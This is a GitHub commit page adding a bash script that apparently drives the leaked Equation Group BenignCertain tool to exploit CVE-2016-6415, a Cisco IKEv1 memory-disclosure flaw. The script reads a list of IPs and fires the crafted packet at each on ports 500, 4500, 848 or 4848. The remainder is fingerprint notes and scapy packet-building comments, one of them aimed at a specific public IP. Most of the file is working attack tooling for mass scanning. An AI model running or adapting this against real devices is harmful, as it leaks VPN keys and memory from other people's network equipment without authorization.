Skip to content

Commit 4ee6236

Browse files
nixawknixawk
committed
CVE-2016-6415 cisco IKE Information Disclosure
1 parent aaccfb0 commit 4ee6236

File tree

1 file changed

+165
-0
lines changed

1 file changed

+165
-0
lines changed

‎cisco-CVE-2016-6415.sh

Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
#!/bin/bash
2+
3+
# https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
4+
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
5+
# https://tools.cisco.com/security/center/selectIOSVersion.x
6+
# https://isakmpscan.shadowserver.org/
7+
# https://twitter.com/marcan42/status/766346343405060096
8+
# https://nmap.org/nsedoc/scripts/ike-version.html
9+
# http://www.cisco.com/c/en/us/about/security-center/identify-mitigate-exploit-ikev1-info-disclosure-vuln.html
10+
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
11+
12+
# [+] ---- Fingerprint: ---- [+]
13+
# cisco pix
14+
# cisco pix 6
15+
# cisco pix 7
16+
#
17+
# 500/udp open isakmp udp-response Cisco VPN Concentrator 3000 4.0.7
18+
# Cisco Systems, Inc./VPN 3000 Concentrator Version 4.7.2.L built by vmurphy on Jun 11 2007 14:07:29
19+
# Vendor: Cisco Systems, Inc.
20+
# Cisco Systems, Inc. 12.2
21+
# Cisco Systems, Inc. 12.4
22+
# Cisco Systems, Inc. 15.5
23+
# Cisco Systems pix
24+
# Cisco VPN Concentrator
25+
26+
function exploit
27+
{
28+
29+
if [ -z "$1" ]; then
30+
echo "[*] please set a valid ip, ex: 8.8.8.8";
31+
exit 0;
32+
fi
33+
34+
if [ -z "$2" ]; then
35+
echo "[*] please set a valid port, ex: 500, 4500"
36+
fi
37+
38+
ip="$1"
39+
port="$2"
40+
41+
echo -e "[*] sending [$payload] -> $ip: $port"
42+
timeout 6s ./bc-id -t $ip -p $port -I "sendpacket.raw"
43+
44+
}
45+
46+
# UDP port 500
47+
# UDP port 4500, NAT Traversal (NAT-T)
48+
# UDP port 848, Group Domain of Interpretation (GDOI)
49+
# UDP port 4848, GDOI NAT-T
50+
51+
function main
52+
{
53+
echo "1) exploit port 500";
54+
echo "2) exploit port 4500";
55+
echo "3) exploit port 848";
56+
echo "4) exploit port 4848";
57+
58+
read -p "[*] please make a choice: " choice
59+
read -p "[*] please set a valid iplist: " iplist
60+
61+
for ip in $(cat $iplist); do
62+
case $choice in
63+
1) exploit $ip 500;;
64+
2) exploit $ip 4500;;
65+
3) exploit $ip 848;;
66+
4) exploit $ip 4848;;
67+
esac
68+
done
69+
}
70+
71+
main
72+
73+
# --- port: 500 ---
74+
# --- port: 4848 ---
75+
76+
# -------------------------------------------------------------------------
77+
# Internet Key Exchange Version 1 (IKEv1)
78+
# http://www.omnisecu.com/tcpip/ikev1-main-aggressive-and-quick-mode-message-exchanges.php
79+
#
80+
# IKEv1 Protocol, IKEv1 message exchange, IKEv1 Main, Aggressive and Quick Modes
81+
#
82+
# IP/UDP/ISAKMP/ISAKMP_payload_Proposal/ISAKMP_payload_Transform
83+
#
84+
#
85+
#
86+
# ISAKMP : ISAKMP
87+
# ISAKMP_class : None
88+
# ISAKMP_payload : ISAKMP payload
89+
# ISAKMP_payload_Hash : ISAKMP Hash
90+
# ISAKMP_payload_ID : ISAKMP Identification
91+
# ISAKMP_payload_KE : ISAKMP Key Exchange
92+
# ISAKMP_payload_Nonce : ISAKMP Nonce
93+
# ISAKMP_payload_Proposal : IKE proposal
94+
# ISAKMP_payload_SA : ISAKMP SA
95+
# ISAKMP_payload_Transform : IKE Transform
96+
# ISAKMP_payload_VendorID : ISAKMP Vendor ID
97+
#
98+
# ---------------------------------------------------------
99+
# >>> ls(ISAKMP)
100+
# init_cookie : StrFixedLenField = ('')
101+
# resp_cookie : StrFixedLenField = ('')
102+
# next_payload : ByteEnumField = (0)
103+
# version : XByteField = (16)
104+
# exch_type : ByteEnumField = (0)
105+
# flags : FlagsField (8 bits) = (0)
106+
# id : IntField = (0)
107+
# length : IntField = (None)
108+
#
109+
#
110+
# ---------------------------------------------------------
111+
# >>> ls(ISAKMP_payload)
112+
# next_payload : ByteEnumField = (None)
113+
# res : ByteField = (0)
114+
# length : FieldLenField = (None)
115+
# load : StrLenField = ('')
116+
#
117+
#
118+
# ---------------------------------------------------------
119+
# >>> ls(ISAKMP_payload_Hash)
120+
# next_payload : ByteEnumField = (None)
121+
# res : ByteField = (0)
122+
# length : FieldLenField = (None)
123+
# load : StrLenField = ('')
124+
#
125+
#
126+
# ---------------------------------------------------------
127+
# >>> ls(ISAKMP_payload_Proposal)
128+
# next_payload : ByteEnumField = (None)
129+
# res : ByteField = (0)
130+
# length : FieldLenField = (None)
131+
# proposal : ByteField = (1)
132+
# proto : ByteEnumField = (1)
133+
# SPIsize : FieldLenField = (None)
134+
# trans_nb : ByteField = (None)
135+
# SPI : StrLenField = ('')
136+
# trans : PacketLenField = (<Raw |>)
137+
#
138+
# ---------------------------------------------------------
139+
# >>> ls(ISAKMP_payload_SA)
140+
# next_payload : ByteEnumField = (None)
141+
# res : ByteField = (0)
142+
# length : FieldLenField = (None)
143+
# DOI : IntEnumField = (1)
144+
# situation : IntEnumField = (1)
145+
# prop : PacketLenField = (<Raw |>)
146+
#
147+
# ---------------------------------------------------------
148+
# >>> ls(ISAKMP_payload_Transform)
149+
# next_payload : ByteEnumField = (None)
150+
# res : ByteField = (0)
151+
# length : ShortField = (None)
152+
# num : ByteField = (None)
153+
# id : ByteEnumField = (1)
154+
# res2 : ShortField = (0)
155+
# transforms : ISAKMPTransformSetField = (None)
156+
#
157+
# =========================================================
158+
# https://github.com/secdev/scapy/wiki/Contrib:-RegressionTests
159+
# http://www.secdev.org/projects/UTscapy/
160+
#
161+
# transform = ISAKMP_payload_Transform(num=1, transforms=[('Encryption','CAST-CBC'), ('Hash', 'SHA'), ('Authentication', 'PSK'), ('GroupDesc', '1536MODPgr'), ('KeyLength', 256), ('LifeType', 'Seconds'), ('LifeDuration', 86400L)])
162+
# proposal = ISAKMP_payload_Proposal(SPIsize=4, trans_nb=1, SPI='\x2e\xbf\x19\x3c', trans=transform)
163+
# security_association = ISAKMP_payload_SA(prop=proposal)
164+
# isakmp = ISAKMP(init_cookie='\x3e\x35\xc7\x07\x29\xdf\xed\xef', resp_cookie='\x00\x00\x00\x00\x00\x00\x00\x00', next_payload=1, version=16, exch_type=2)
165+
# ike = IP(dst="79.190.52.2")/UDP(dport=500)/isakmp/security_association

0 commit comments

Comments
 (0)